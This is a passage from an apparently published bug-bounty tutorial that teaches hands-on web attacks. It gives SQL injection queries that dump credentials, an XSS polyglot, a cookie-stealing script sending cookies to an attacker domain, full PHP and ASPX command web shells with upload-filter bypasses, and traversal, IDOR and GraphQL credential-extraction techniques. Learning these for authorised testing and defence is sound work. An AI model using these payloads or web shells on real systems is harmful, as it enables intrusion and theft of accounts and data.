I started off as a penetration tester specializing in web application and when I started
doing bug bounties my skills carried over 100%. Legit 80% of the attacks you pull off are
going to be against a web application. After all, in today's world the vast majority of a
company's public facing assets are web applications. For this reason alone you MUST
learn web application hacking if you want to be successful and there is no better place
to start than the OWASP top 10. If all you got out of this book was learning how to
exploit these basic web vulnerabilities you will be able to find bugs all day.
SQL Injection(SQLI)
Introduction
SQL Injection (SQL) is a classic vulnerability that doesn’t seem to be going anywhere.
This vulnerability can be exploited to dump the contents of an applications database.
Databases typically hold sensitive information such as usernames and passwords so
gaining access to this is basically game over. The most popular database is MySQL but
you will run into others such as MSSQL, PostgreSQL, Oracle, and more.
The main cause of SQL injection is string concatenation as shown in the above code
snippet. One line three the application is concatenating user supplied input with the sql
query, if you ever see this you know you have sql injection. The reason why this is so
dangerous is because we can append additional sql queries to the current query. This
would allow an attacker to query anything they want from the database without
restrictions.
MySql
The two most common types of sql injection are union based and error based. Union
based sql injection uses the “UNION” sql operator to combine the results of two or more
“SELECT” statements into a single result. Error based sql injection utilizes the errors
thrown by the sql server to extract information.
Typically when I'm looking for this vulnerability I'll throw a bunch of double and single
quotes everywhere until I see the famous error message.
As you can see in the first image appending a single quote to the “cat” variable value
throws an sql error. Look at the two error messages and notice how they are different.
Note that “%27” is the same as a single quote, it's just url encoded.
In the following sections I'll show you how to exploit this vulnerability and no we won’t
be using SqlMap, you need to know how to do this by hand.
●
https://github.com/sqlmapproject/sqlmap
Union Based Sql Injection
Once you know that an endpoint is vulnerable to sql injection the next step is to exploit
it. First you need to figure out how many columns the endpoint is using. This can be
accomplished with the “order by” operator. Basically we are going to ask the server “do
you have one column”, if it does the page will load. Then we ask “do you have two
columns”, if it loads it does and if it throws an error we know it doesn't.
We can see here the page loads just fine, this means there must be at least one column
returned by the sql statement. Just keep adding one to the number until you get an
error.
●
Order by 1
●
Order by 2
●
Order by 3
●
Order by 4
If you were to try “order by 4” it will fail so there must not be 4 columns which means
there are 3 because “order by 3” loaded without any errors.
Now that you know how many columns the sql query is using you need to figure out
which columns are being displayed to the page. We need to know this because we
need a way to display the information we are extracting. To accomplish this we can use
the “union all select” statement. Note that for the second select statement to show we
need to make the first query return nothing, this can be accomplished by putting an
invalid id.
Notice the numbers on the page. These numbers refer to the columns which are being
displayed on the front end. Look at the above example. I see the numbers “2” and “3” so
these are the columns we will use to display the results from our queries.
As shown above one of the first things I typically do is to display the database version,
this can be accomplished with the following mysql command:
●
@@version
●
version()
You can see we are working with mysql version 5.1.73, it's a good idea to note this
down as it might come in handy later. Extracting the database version is cool and all but
what about the sensitive data.
To extract data we first need to know what database tables we want to target, we can
get a list of tables with the following command:
●
Select * from information_schema.tables
Note that “information_schema.tables” is a default table within mysql that holds a list of
table names. This table has two columns we care about, table_name and
table_schema. You can probably guess what the table_name column represents. The
table_schema column holds the name of the database the table belongs to, so if you
only want to get tables from the current database make sure to filter the results with the
“where” operator.
●
union all select 1,2,group_concat(table_name) from information_schema.tables
where table_schema = database()
As you can see above we got a list of all the tables belonging to this database. You
might have noticed the function “database()”, this function outputs the current database
name and is used to filter the results via the table_schema column. You also might have
noticed the “group_concat” function, this function will concatenate all the table names
into a single string so they can all be displayed at once.
Once you pick which table you want to target you need to get a list of columns
belonging to that table. A list of columns belonging to a table can be retrieved via the
“information_schema.columns” table as shown in the below query:
●
union all select 1,2,group_concat(column_name) from
information_schema.columns where table_name = "users"
As you can see above there are a few columns returned, the most interesting column
names are “uname” and “pass”. The final step is to dump the contents of these two
columns as shown below:
●
union all select 1,2,group_concat(uname,":",pass) from users
As you can see above there is a user called “test” with the password “test”. We can then
use these credentials to login to the application as that user.
Error Based Sql Injection
With union based sql injection the output is displayed by the application. Error based sql
injection is a little different as the output is displayed in an error message. This is useful
when there is no output except a sql error.
Xpath
If the MySql service version is 5.1 or later we can use the “ extractvalue() ” function to
exfiltrate data from the database. The ExtractValue() function generates a SQL error
when it is unable to parse the XML data passed to it. Rember with error based sql
injection we must extract our data via sql error messages.
First you need to understand how the ExtractValue() function works, once you
understand how this function operates you can abuse it for sql injection.
As you can see in the above image the ExtractValue() function is used to parse out a
value from an XML document. Here we pass in the XML string “<id>1</id>
<name>ghostlulz</name> <email>[email protected]</email> ” and we get the value
of the name tags with the second argument. So the first argument is an XML document
and the second argument is the tag we want to get the value of.
As shown above if the second argument starts with a “;” it will cause a MySql error
message to appear along with the string that caused the error. Attackers can abuse this
to extract data via error messages. Looking at the above example you can see I was
able to extract the database version via an error message. Armed with this knowledge
you can now use this technique to perform error based sql injection.
●
AND extractvalue("blahh",concat(";",@@version))
As you can see above we were able to extract the MySql database version via an error
message. The next step is to get a list of table names. Similar to union based sql
injection we will be utilizing the information_schema.tables table to achieve this.
●
AND extractvalue("blahh",(select concat(";",table_name) from
information_schema.tables where table_schema = database() limit 0,1))
Notice the “limit 0,1” command at the end of the query. This is used to get the first row in
the table, with error based sql injection we have to query one table at a time. To get the
second table you would use “limit 1,1”.
As you can see above we will be targeting the “users” table. Once you have your target
table you need to query the column names belonging to that table.
●
AND extractvalue("blahh",(select concat(";",column_name) from
information_schema.columns where table_name = "users" limit 0,1))
The first column name is “uname”, now we have to get the second column name as
shown below:
As you can see above the second column name is called “pass”. The final step is to
extract the data from these columns.
●
AND extractvalue("blahh",(select concat(";",uname,":",pass) from users limit 0,1))
As you can see above we were able to extract the username and password of the first
user “test:test”. To get the next user just change “limit 0,1” to “limit 1,1”.
PostgreSql
If you know how to perform sql injection on a mysql server then exploiting postgres will
be very similar. Just like mysql I typically throw single and double quotes every where
until I see the famous error message appear:
As you can see above there is an error message displayed. The name “psycopg2” is a
python library for postgres so if you see this name you know you’re working with a
postgres database server.
Union Based Sql Injection
Just like MySql the first step is to determine how many columns the sql query is using,
this can be accomplished by using the “order by” operator. As shown below we ask the
server “do you have at least one column”, then we ask “do you have two columns”, and
so on until we get an error.
As you can see below once we hit 3 columns the server errors out, this tells us that
there are only 2 columns being retrieved by the query.
As shown below we can use the “union all select” operator to perform the second
query.Also note how the second select column is wrapped in single quotes, this is
because the column types must match the original query. The first column is an integer
and the second column is a string.
Note you can also use the word “null” if you don’t know the data type, so it would look
like:
●
Union all select null,null
If you weren't able to detect the database type from the error message you could always
use the “version()” function to print the database type and version as shown below:
As you can see above the application is running on PostgreSQL version 12.3.
After you have the number of columns the query returns we need to find all the tables in
the database. Just like MySql we can query the “information_schema.tables” table to
get a list of all tables in the databases.
●
union all select 1,table_name from information_schema.tables where
table_schema != 'pg_catalog' and table_schema != 'information_schema' offset 0
For the most part this is the same as MySql but there are a few differences. For starters
PostgreSQL doesn't have a group_concat function so instead I return one table_name
at a time with the “offset” operator. Offset ‘0’ get the first table name, offset ‘1’ gets the
second and so on. I also filter out the default databases “pg_catalog” and
“information_schema” as they tend to clog up the results.
As shown above the second table name is called “users”, this is the table we will be
targeting. The next step is to extract the columns associated with the target table as
shown below.
●
union all select 1,column_name from information_schema.columns where
table_name = 'users' offset 0
As shown above there are two interesting columns called username and password.
These are the columns we will be extracting data from as shown in the below query:
●
union all select 1,concat(username,':',password) from users offset 0
Finally the username and password of the first user is shown. An attacker could then
use these credentials to log in to the application.
Oracle
MySql and PostgreSql are very similar to each other so if you know one the other will
come easy. However, Oracle is different from those two and will require some additional
knowledge to successfully exploit it. As always when testing for this vulnerability I
usually just throw a bunch of single and double quotes around until I get an error
message as shown below:
As shown above the error message starts with “ORA” and that's a good sign that you
are dealing with an Oracle database. Sometimes you can’t tell the database type from
the error message if that's the case you need to return the database version from a sql
query as shown below:
●
select banner from v$version
Note that similar to PostgreSql when you are selecting a column it must match the type
of the first select statement. You can also use the word ‘null’ as well if you don't know
the type. Another thing to note is that when using the select operator you must specify a
table, in the above image the default table of “dual” was used.
Union Based Sql Injection
Just like MySql and PostgreSql the first step is to figure out how many columns the
select statement is using. Again this can be accomplished with the “order by” operator
as shown below:
As mentioned in the previous sections we increase the order by operator by one until
you get an error. This will tell you how many columns there are.
As shown above an error was displayed once we got to column number 3 so there must
only be 2 columns used in the select statement. The next step is to retrieve a list of
tables belonging to the database as shown below:
●
union all select LISTAGG(table_name,',') within group (ORDER BY
table_name),null from all_tables where tablespace_name = 'USERS' --
If you’re used to using MySql or PostgreSql you would normally use the
“information_schema.tables” table to get a list of tables but oracle uses the “all_tables”
table for this. You probably want to filter on the “tablespace_name” column value
“USERS” otherwise you will get hundreds of default tables which you have no use for.
Also notice the “listagg()” function, this is the same as MySqls ‘group_concat()’ function
and is used to concatenate several rows into a single string. When using the listagg()
function you must also use the ‘within group()’ operator to specify the order of the
listagg function results.
Once you get your target table you need to get a list of the column names belonging to
that table as shown below:
●
union all select LISTAGG(column_name,',') within group (ORDER BY
column_name),null from all_tab_columns where table_name = 'EMPLOYEES'--
In MySql we would have queried the “information_schema.columns” table to get a list of
columns belonging to a table but with oracle we use the “all_tab_columns” table to do
this. Finally once you know the tables column names you can extract the information
you want using a standard sql query as shown below:
●
Union all select email,phone_number from employees
As you might have noticed Oracle sql injection is a little different compared to MySql
and PostgreSql but it is still very similar. The only difference is the syntax of a couple
things but the process remains the same. Figure out the target table name, get the
tables columns, then finally extract the sensitive information.
Summary
SQL injection is one of the oldest tricks in the book yet it still makes the OWASP top 10
list every year. It's relatively easy to search for and exploit plus it has a high impact on
the server since you are able to steal everything in the database including usernames
and passwords. If you're searching for this vulnerability you are bound to come across
a vulnerable endpoint, just throw single and double quotes everywhere and look for the
common error messages. Unlike 90% of other hackers you should know how to exploit
the vast majority of databases not just Mysql so when you do find this bug it shouldn't
be too hard to exploit.
Cross Site Scripting(XSS)
Introduction
Cross site scripting(XSS) is one of the oldest and most common vulnerabilities out there
and has been on the OWASP top 10 list for awhile now. XSS allows attackers to
execute javascript code and in the target browser. This can be used to steal tokens,
sessions, cookies , and much more. There are three types of XSS reflected, stored, and
DOM based. The following sections will discuss each of these.
Reflected XSS
One of the most basic forms of cross site scripting is reflected XSS. With reflected XSS
user input is reflected in the html source. If done improperly an attacker could insert
malicious payloads into the page.
Basic script alert
In the above example you can see that user input is being reflected between the two
“<b>” tags. If the input is not being sanitized an attacker could insert javascript code as
shown below:
As you can see above I was able to insert a javascript command to pop an alert box on
the screen. A real attacker wouldn't pop an alert box they would insert a javascript
payload to steal the users cookie so they could login as that user.
Input Field
In the image below the users input is being reflected in the <input> tags value attribute
and also in between the two <b> tags like the last exercise. However, the input between
the <b> tags is being sanitized by the back end application. This will prevent us from
inputting javascript tags at that location since the ‘<’ symbol is being html encoded. You
can’t have a “<script>” tag without the “<”.
If you look at the <input> tags value attribute the input is not being sanitized. So if we
can break out of the value attribute we should be able to insert our javascript payload.
Think about it, our input is contained in an input tag and is enclosed by double quotes.
To break out of the double quotes we need to insert a double quote and to break out of
the input tag we need to close it with a “>” symbol.
As you can see above we used the “> characters to break out of the input tag. Then we
inserted our javascript payload to pop an alert box. Just because your payload is
reflected in the page doesn't mean it will immediately trigger, you might have to break
out of a few tags to get the payload to work properly.
Event Attributes
As shown in the image below our input is again being sanitized to prevent XSS. This
time both the <b> tags and <input> tags are being sanitized to prevent the use of “<”
and “>” tags. Under most conditions this is efficient at preventing XSS but there are a
few edge cases where we don't need “<” and “>” tags.
Event attributes are applied to HTML tags for the execution of Javascript when certain
events occur, for example, onclick , onblur , onmousehover , etc. What's nice about
these attributes is that we don’t need “<” or “>” tags. A few example events can be
found in the image below:
For this example I will be using the onfocus event. This event will run our javascript
payload when a user focuses their mouse on the input field, this happens by default
when they click the input field to type in their input.
As you can see above we successfully injected an onfocus event into the input tag.
When a user focuses on this input tag our function will execute and an alert box will
appear.
Stored XSS
If you understand how to exploit reflected XSS then learning stored XSS will be a
breeze. The only difference between stored XSS and reflected XSS is that stored XSS
will be permanently stored somewhere while reflected XSS is not.
In the illustration above the XSS payload is stored in a (Database,Json File,XML File)
and retrieved by the application. This means that once a user visits the vulnerable
endpoint the XSS payload will be retrieved and executed by the application.
When searching for this vulnerability you have to think about what information the
application saves in its database and outputs to the screen. Some examples are shown
below:
●
Email
●
Username
●
BIO
●
Address
●
Comments
●
Images
●
Links
As you can see above there are a bunch of potential things that are saved and
displayed in an application. For example when you sign up for a website you will have
to login with your username. This username may be used to display a greeting
message, used in an error message, or many other things. If the developer does not
sanitize this value it could lead to XSS.
Another popular feature used to store user input is comments. A lot of websites have
the ability to write a comment and have it displayed on the page. This is the perfect
place for stored XSS.
As shown above we have an application which allows users to leave a comment. If we
enter the string “<script>alert(0)</script>” as our comment it will be saved by application
and displayed to every user who visits the page.
If you look at line “121” our payload is being executed by the application. This means
that any user visiting this endpoint will see the famous alert prompt.
As you can tell stored XSS is very similar to reflected XSS. The only difference is that
our payload is saved by the application and executed by every user who visits the
vulnerable endpoint.
DOM Based XSS
Introduction
Reflected and stored XSS occur when server side code unsafely concatenates user
supplied input with the HTTP response. DOM based XSS happens client side entirely
within the browser, this means we should be able to spot these vulnerabilities by looking
at the javascript source code. Remember javascript is executed in the browser so we
have access to everything, all you need to know now are some basic code review
techniques.
When performing a code review people generally look for user supplied input (source)
and track them through the program until it gets executed (sink) as shown in the below
illustration:
As shown above the user is able to control the GET parameter “vuln”. This parameter is
then saved to a variable called “vul_var” where it finally ends up being passed as an
argument to the function “eval”. The eval function is used to execute javascript and
since the arguments passed to this function are controlled by the user attackers could
pass a malicious payload which would be executed by the users browser.
The above code snippet is another example of DOM xss. This time the GET parameter
“index” is being passed to the “eval” function. The “index” parameter is the source and
the “eval” function is the sink. Note, if a javascript function is passed to the eval function
it will be automatically executed before the eval function is run.
This is actually true for any function that takes another function as an argument as
shown in the image below:
Sources
As mentioned earlier we need to find all the locations where user input AKA source is
being used by the application. A list of javascript sources can be found in the list below:
●
document.URL
●
document.documentURI
●
document.baseURI
●
location
●
location.href
●
location.search
●
location.hash
●
Location.pathname
●
Document.cookie
This is not a list of all the sources but these are some of the major ones. As mentioned
earlier these sources can be modified by the user so if they are used improperly things
could go wrong.
Now that you understand how to find the user input (source) you need to figure out
where it is being used in the application. If the source is being paced to a dangerous
sink you could have XSS.
Sinks
When a source is passed to a dangerous sink in javascript it is possible to gain code
execution within the clients browser. According to Google “Sinks are meant to be the
points in the flow where data depending from sources is used in a potentially dangerous
way resulting in loss of Confidentiality, Integrity or Availability (the CIA triad)”. A list of
dangerous sinks can be found below:
Sink
Example
Eval
eval(“Javascript Code” + alert(0))
Function
function(“Javascript Code” + alert(0))
SetTimeout
settimeout(“Javascript Code” + alert(0),1)
SetInterval
setinterval(“Javascript Code” + alert(0),1)
Document.write
document.write("html"+ “<img src=/
onerror=alert(0)”)
Element.innerHTML
div.innerHTML = "htmlString"+ “<img
src=/ onerror=alert(0)”
This is not a complete list of sinks but these are some of the most popular ones out
there. If user supplied input(source) is ever passed to a dangerous sink you probably
have DOM based XSS.
Polyglot
When testing for XSS you often have to break out of multiple tags to get a payload to
trigger. Just pasting the payload “<script>alert(0)</script>” and looking for an alert box
won't always work. You might have to break out of a set of quotes so your payload
would look like ‘ “</script>alert(0)</script>’ or you have to break out of a div tag so your
payload may look like “ ><script>alert(0)</script>”. Maybe the vulnerability is in an
image src attribute so your payload looks like “javascript:alert(0)” or maybe it's a DOM
based vulnerability so your payload would just be “alert(0)”. As you can tell the basic
“<script>alert(0)</script>” payload is going to miss a lot of things. What if we had one
payload that would trigger for all these cases, we wouldn't miss anything.
●
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert()
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=a
lert()//>\x3e
The example shown above is a famous XSS polyglot by “0xsobky” and it can be used
to trigger your xss payload on a multitude of scenarios.
Beyond the alert box
Making an alert box appear is cool and all but it doesnt show the full impact of an XSS
vulnerability. Most security folks know when you get a XSS POC and it pops an alert
box that there is something dangerous going on. However, some individuals see an
alert box pop and think “who cares”. If you are unfamiliar with XSS you might dismiss
the alert box as nothing when in reality XSS can do much more. As a security
professional it's your job to convey the impact of a vulnerability.
Cookie Stealer
Depending on the application, cookies are used to store a user's authentication details.
When a user logs into an application the server will add a cookie to the users browser.
Whenever the application needs to verify the user's identity it will use the cookie it set
previously and check its value to see who the user is and what permissions they have. If
an attacker steals this cookie they will be able to impersonate the victim giving them
access to their account.
Javascript can be used to retrieve a users cookies as shown below:
●
Document.cookie
Now that we have a way of retrieving the user's cookie we need a way to send it to the
attacker's machine. Lucky for us this step can also be accomplished utilizing javascript.
By modifying the “document.location” we can force the browser to navigate to an
attackers webpage as shown below :
●
Document.location = ” http://attacker-domain.com ”
Finally, we just have to combine these two commands to grab the victims cookies and
send them to the attackers machine. This can be done with the following POC shown
below:
●
<script type="text/javascript">
document.location='http://attacker-domain/cookiestealer?cookie='+document.coo
kie; </script>
As you can see above when the payload was executed it sent the users cookie to our
server. As an attacker we could use this cookie to login as the victim user allowing us to
fully compromise their account.
Summary
Cross site scripting(XSS) is one of the oldest and most prevalent types of vulnerability
impacting web applications. If you only knew how to exploit XSS you would still be able
to make a decent amount of cash from bug bounties as this is the number one
vulnerability found. There are three types of XSS vulnerabilities reflected,stored, and
DOM. Reflected and stored XSS are very similar. The only difference is that one will
persist in the application while the other won’t. DOM XSS is fairly different compared to
reflected and stored XSS as everything happens in the victim's browser and you have to
be on the lookout for sources and sinks. Testing for XSS can also be a challenge since
there are so many possible scenarios. To combat this a polyglot XSS payload can be
used which will allow you to exploit multiple different scenarios. Finally when attempting
to show the impact of your finding try to stay away from the typical alert box payload.
Instead try stealing the users cookies for account takeover, this will demonstrate the
impact of this vulnerability much better than popping an alert box.
File Upload
Introduction
File upload vulnerabilities aren't as common as they once were but that doesn't mean
you won't see it from time to time. As you are aware, web applications sometimes let
users upload file files to their site. This can be in the form of a profile picture, pdf upload
functionality, or whatever. If done improperly attackers can upload malicious files
potentially gaining remote code execution(RCE). If there is an upload feature you
should be testing for this vulnerability.
File Upload
One of the first things I do when testing file upload functionalities is to upload a simple
cmd backdoor. Depending on the language of the target web application your back door
will look different, below are some examples:
Language
Code
PHP
<?php if(isset($_REQUEST['cmd'])){ echo
"<pre>"; $cmd = ($_REQUEST['cmd']);
system($cmd); echo "</pre>"; die; }?>
ASPX
<%@ Page Language="C#"
Debug="true" Trace="false" %><%@
Import Namespace="System.Diagnostics"
%><%@ Import
Namespace="System.IO" %><script
Language="c#" runat="server">void
Page_Load(object sender, EventArgs
e){}string ExcuteCmd(string
arg){ProcessStartInfo psi = new
ProcessStartInfo();psi.FileName =
"cmd.exe";psi.Arguments = "/c
"+arg;psi.RedirectStandardOutput =
true;psi.UseShellExecute = false;Process
p = Process.Start(psi);StreamReader
stmrdr = p.StandardOutput;string s =
stmrdr.ReadToEnd();stmrdr.Close();return
s;}void cmdExe_Click(object sender,
System.EventArgs
e){Response.Write("<pre>");Response.W
rite(Server.HtmlEncode(ExcuteCmd(txtAr
g.Text)));Response.Write("</pre>");}</scri
In the example below we upload a simple PHP webshell to the target environment. The
application does not have any restrictions to which file type can be uploaded so an
attacker could upload a PHP script and if it's in the web directory we can navigate to it
and it will execute.
pt><HTML><HEAD><title>awen asp.net
webshell</title></HEAD><body ><form
id="cmd" method="post"
runat="server"><asp:TextBox id="txtArg"
style="Z-INDEX: 101; LEFT: 405px;
POSITION: absolute; TOP: 20px"
runat="server"
Width="250px"></asp:TextBox><asp:Butt
on id="testing" style="Z-INDEX: 102;
LEFT: 675px; POSITION: absolute; TOP:
18px" runat="server" Text="excute"
OnClick="cmdExe_Click"></asp:Button><
asp:Label id="lblText" style="Z-INDEX:
103; LEFT: 310px; POSITION: absolute;
TOP: 22px"
runat="server">Command:</asp:Label></
form></body></HTML>
Nowe that the webshell is uploaded we need to figure out where it's uploaded to. Once
you figure this out you can navigate to the backdoor and execute any shell command
you want as shown below:
As you can see above the shell successfully uploaded and we were able to execute
remote commands.
Content Type Bypass
Content type validation is when the server validates the content of the file by checking
the MIME type of the file, which can be found in the http request.
As we can see the above image clearly states the file has a Content-Type of
“application/x-php”. However, if we try to upload the file it will be blocked because that
content type is not allowed to be uploaded. Uploading images is allowed though. If the
server trusts the content-type in the HTTP request an attacker could change this value
to “image/jpeg” which would pass the validation.
This passes the content-type validation check and allows us to upload our malicious
PHP payload.
File Name Bypass
Sometimes the server will check the file name to see if it is blacklisted or white listed. As
you might know from other vulnerabilities this approach to defense has many flaws.
The issue with black listing is that if you forget even 1 extension attackers can bypass
the validation. To implement this check most developers will use a regex to check the
file extension.
As shown above we were able to bypass the regex validation by changing the extension
to “phpt” and “phtml”. Most people don’t know about these extensions and that they can
be used to execute PHP files. The developer only has to be missing one extension
from the validation check and we can bypass it.
Summary
File upload vulnerabilities may be a little harder to find in the wild since most people are
aware of this bug but if you do find this vulnerability it almost always leads to remote
code execution (RCE). For this reason alone you should always check for this
vulnerability whenever you see the ability to upload files to an application.
Directory Traversal
Introduction
Directory traversal is a vulnerability that occurs when developers improperly use user
supplied input to fetch files from the operating system. As you may know the “../”
characters will traverse back one directory so if this string is used to retrieve files you
can retrieve sensitive files by traversing up or down the file structure.
As you can see above the characters “../” are used to go one directory up from the
current one.
Directory Traversal
If you see an application utilizing user supplied input to fetch files you should
immediately test to see if its vulnerable to directory traversal. This can be fairly easy to
spot as shown below:
●
https://example.com/?page=index.html
As you can see there is a GET parameter called page which is used to load the
contents of “index.html”. If improperly implemented attackers leverage the “../” technique
to load any file they want.
As you can see above the GET parameter “page” is loaded into a variable called “file”.
Then on line 10 the file is opened and read out to the page. You can clearly see that
there are no additional checks so we should be able to exploit this.
As you can see we exploited this vulnerability to retrieve the “/etc/passwd” file from the
operating system. In case you didn't know the “/etc/passwd” file is used to store
information on each user account in a linux system.
Summary
Directory traversal is an easy bug for developers to mess up if they aren't thinking
correctly when coding. If an application uses user supplied input to interact with files on
the system then there is a chance the endpoint is vulnerable to directory traversal. If you
do find this vulnerability make sure to look for config files, source code, or if it is in an
upload functionality try overwriting files on disk.
Open Redirect
Introduction
According to Google “Open redirection vulnerabilities arise when an application
incorporates user-controllable data into the target of a redirection in an unsafe way”.
Basically we force the application to redirect to an attacker controlled site. This is
typically considered a low impact vulnerability. However, this vulnerability can be
chained with other bugs giving you greater impact.
Open Redirect
As mentioned earlier our goal is to make the application redirect to our site. Looking at
the code below we can clearly see user supplied input is being passed to a redirect
function.
In the real world you probably won't have to have access to the source code so you will
just have to test the site the old fashion way.
To do this I try to get the site to redirect to Google, if it does then the application is
vulnerable.
Summary
Open redirect is an easy bug to find and has little impact on the application. You may be
able to make a few dollars reporting this bug but you're better off trying to chain this
vulnerability with other bugs such as SSRF, OATH bypass, and other things.
Insecure Direct Object Reference(IDOR)
Introduction
Insecure direct object reference(IDOR) is a vulnerability that occurs when a user is able
to view unauthorized data. The issue here is that the developer failed to implement
proper access controls when calling resources so users can access other users data.
IDOR
IDOR is one of my favorite vulnerabilities to search for as it is easy to find and can have
a high impact depending on the context.
The vast majority of the time you can spot this vulnerability by looking for a request
which contains your user id, username, email, or some other id tied to your user. Some
applications will use this id to serve you content based on the id supplied. Under normal
circumstances you would only supply your users id so developers might forget to
include authentication checks when retrieving this data. If that's the case attackers can
supply other users id to retrieve data belonging to them. This could be anything such as
a user's shipping address, credit card number, email, or anything. Not only can you
retrieve information but sometimes you can exploit IDOR to send commands to the
application such as adding an admin account, changing a user's email, or removing a
set of permissions.
As you can see above there are two requests. One will set a users email and the other
will get a users email. The backend application uses the “userId” value supplied by the
user when performing these actions without any other verification. So as an attacker we
could easily modify and retrieve any user's email on the application.
Sometimes it is as easy as changing your user id to another users but what if you can’t
easily guess the userid as shown in the response below:
Looking at the user id of “8f14e45fceea167a5a36dedd4bea2543” you might think it's a
random id that's impossible to guess but that may not be the case. It's common practice
to hash user ids before storing them in a database so maybe that's what's happening
here.
As you can see above this is a MD5 hash of the number 7. If an attacker were to take
an MD5
Hash of the number “11” they would be able to craft a user id for that user.
Now that we generated an MD5 hash for the integer 11 we can use this to retrieve
information from that person's user account.
Since the user id is guessable and increments by one for every user this attack could
also be scripted to exploit every user on the application.
Summary
IDOR is all about abusing an application's functionality to retrieve unauthorized
information. It can be as easy as changing a user's id to someone else's though you
may have to figure out a way to generate another user's id if it's not easily guessable.
Once exploited this vulnerability can be used to retrieve sensitive information of other
users or issue commands as other users. That's why this vulnerability is normally
considered high severity finding, it's easy to find, easy to locate, and it normally has high
impact.
Conclusion
Learning how to exploit common web application vulnerabilities by hand is a must for
any security professional. As a hunter you want to pay close attention to the bugs that
are most commonly found by other hunters. XSS is extremely popular and easy to
exploit so if you're new to this field I would start here, it is the most paid bug by
Hackerone. You also need to know other basic vulnerabilities such as sql injection and
IDOR as they are also frequently found in web applications and often lead to high
severity findings. There are a bunch of other OWASP vulnerabilities that you will want to
learn so you can add them to your arsenal of techniques. The more vulnerabilities you
know how to exploit the better your chances of finding one and as you progress through
the book you will learn more. That being said if you only know a few basic web
vulnerabilities you can still be wildly successful.
API Testing
Introduction
Back in the day applications were built using a single language such as PHP but the
architecture of today's applications tend to look a little different. Most modern day
applications are split into two sections, frontend and backend as shown below:
As mentioned before the application is separated into front end and back end code. The
frontend is the web UI you see in your browser, this is typically written in a modern day
javascript framework such as ReactJS or AngularJS. The backend is the API and can
be written in multiple languages.
When dealing with this type of application there are certain things you need to know and
get familiar with if you want to be successful. There are several types of APIs and they
are each slightly different so before you start API hacking you need to understand a few
things.
APIs
Rest API
If you notice an application talking to a backend API 9/10 times it’s going to be a REST
API. An example request in Burp to a REST API might look something like the image
below:
When looking at this request the first sign that tells me this is a request for a REST API
is the fact that the request data is a JSON string. JSON strings are widely used by
REST APIs. The other sign is that the application is issuing a PUT request. The PUT
method is one of several HTTP methods associated with REST APIs as shown in the
below table:
Http Methods
Description
GET
Used to get a resource or information
from a server.
For example a banking application might
use a GET request to retrieve your first
and last name so it can be displayed on
the screen.
POST
Used to create a resource though people
use this as a way of updating well.
For example a social media application
might use a POST request to create a
new message.
PUT
Used to update a resource.
For example a PUT request might be
used to update your password when you
issue a password reset.
PATCH
Used to update a resource.
DELETE
Used to delete a resource.
For example a social media application
might use the DELETE method when
deleting a comment.
Now that you know this information you can tell the previous PUT request in Burp is
updating “param1” and setting its value to “value1”.
Another sign you're dealing with a REST API is when the HTTP response contains a
MIME type of JSON as shown in the below Burp requests:
As mentioned earlier the vast majority of REST APIs use JSON so if you get a JSON
response you're probably dealing with a REST API.
Remote Procedure Call (RPC)
Remote Procedure Call (RPC) is the oldest form of communication you will see being
used by an application dating back to the 1980s. This protocol is fairly basic, each
HTTP request maps to a particular function.
There are several indicators here which hint that this is an RPC endpoint. The first thing
is the file name “xmlrpc.php”. XMLRPC uses XML while JSONRPC uses JSON for its
encoding type. If this endpoint was an JSONRPC API the data would be contained in a
JSON string instead of an XML doc, that's really the only difference between the two
RPC APIs.
In the request body you see two tags called “methodCall” and “methodName” , I
mentioned earlier that RPC requests correspond to function names so this is another
hint at this being an RPC API. In case you're not familiar with programming, “method”
means the same thing as “function. Here we are calling the function
“system.listMethods” and passing zero arguments. After issuing the request the server
responded with an XML document containing a list of methods exposed by this API.
You know that REST APIs use several HTTP methods such as PUT,POST, and
DELETE but RPC APIs only use two, GET and POST methods. So if you see an HTTP
request using something other than a GET or POST request you know it’s probably not
an RPC API.
Simple Object Access Protocol (SOAP)
In the previous section I mentioned RPC APIs, specifically I talked about something
called XMLRPC. You can think of a SOAP API as a more advanced version of
XMLRPC. They are both very similar by the fact they both use XML for encoding and
HTTP to transfer messages. However, SOAP APIs tend to be a little more complex as
shown in the below request:
Unlike the XMLRPC request which is just an XML blob of data the SOAP request is a
little more structured and inorder to send a SOAP request you must follow this structure.
An example of the SOAP format can be found below:
As you can see the message is first wrapped in an “<soapenv:Envelope>” tag which
contains the header and body tags. This value can be used as an indicator that you’re
dealing with a SOAP API so be on the lookout for this string. The header part is optional
and is used to hold values related to authentication, complex types, and other
information about the message itself. The body is the part of the XML document which
actually contains our message as shown below example:
<soapenv:Body>
<web:GetCitiesByCountry>
<!--type: string-->
<web:CountryName>gero et</web:CountryName>
</web:GetCitiesByCountry>
<soapenv:Body>
As you can see in the above SOAP body we are calling a method named
“ GetCitiesByCountry ” and passing in an argument called “CountryName ” with a string
value of “gero et” .
GraphQL API
GraphQL is a data query language developed by Facebook and was released in 2015.
GraphQL acts as an alternative to REST API. Rest APIs require the client to send
multiple requests to different endpoints on the API to query data from the backend
database. With graphQL you only need to send one request to query the backend. This
is a lot simpler because you don’t have to send multiple requests to the API, a single
request can be used to gather all the necessary information.
As new technologies emerge so will new vulnerabilities. By default graphQL does not
implement authentication, this is put on the developer to implement. This means by
default graphQL allows anyone to query it, any sensitive information will be available to
attackers unauthenticated.
When performing your directory brute force attacks make sure to add the following
paths to check for graphQL instances.
●
/graphql
●
/graphiql
●
/graphql.php
●
/graphql/console
Once you find an open graphQL instance you need to know what queries it supports.
This can be done by using the introspection system, more details can be found here:
●
https://graphql.org/learn/introspection/
Issuing the following requests will show you all the queries that are available on the
endpoint.
●
example.com/graphql?query={__schema{types{name,fields{name}}}}
As you can see there is a type called “User” and it has two fields called “username” and
“password”. Types that start with a “__” can be ignored as those are part of the
introspection system. Once an interesting type is found you can query its field values by
issuing the following query:
●
http://example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2 }}
Once the query is submitted it will pull the relevant information and return the results to
you. In this case we get a set of credentials that can be used to login to the application.
GraphQL is a relatively new technology that is starting to gain some traction among
startups and large corporations. Other than missing authentication by default graphQL
endpoints can be vulnerable to other bugs such as IDOR.
Authentication
If an application requires you to login it must use some form of authentication to verify
who you are. Depending on what authentication method an application is using there
could be several types of attacks used to compromise the authentication process.
Compromising the authentication process will typically lead to account takeover(ATO)
vulnerabilities and depending on the accounts you takeover it could also lead to
